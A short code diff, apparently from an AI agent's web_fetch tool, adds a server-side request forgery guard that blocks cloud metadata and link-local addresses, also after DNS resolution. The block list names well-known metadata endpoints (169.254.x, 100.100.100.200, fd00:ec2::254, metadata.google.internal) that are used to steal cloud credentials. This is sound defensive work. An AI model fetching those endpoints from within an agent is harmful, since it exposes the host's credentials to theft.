+ try { host = new URL(raw).hostname.replace(/^\[|\]$/g, ''); } catch { throw new ToolError('That is not a valid URL.'); }
901
+ const bad = (ip) => /^169\.254\./.test(ip) || /^fe80:/i.test(ip) || ip === '100.100.100.200' || /^fd00:ec2::254$/i.test(ip);
902
+ if (bad(host) || /^metadata(\.google\.internal)?$/i.test(host)) throw new ToolError('Cloud metadata and link-local addresses are blocked for web_fetch.');
903
+ try {
904
+ const { lookup } = await import('node:dns/promises');
905
+ const addrs = await lookup(host, { all: true });
906
+ if (addrs.some((a) => bad(a.address))) throw new ToolError('That host resolves to a link-local / metadata address, which is blocked for web_fetch.');
907
+ } catch (e) { if (e instanceof ToolError) throw e; /* a resolution error is reported by fetch itself */ }
908
+ }
909
+
694
910
  const BROWSER_HEADERS = {
695
911
  'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36',
696
912
  'accept': 'text/html',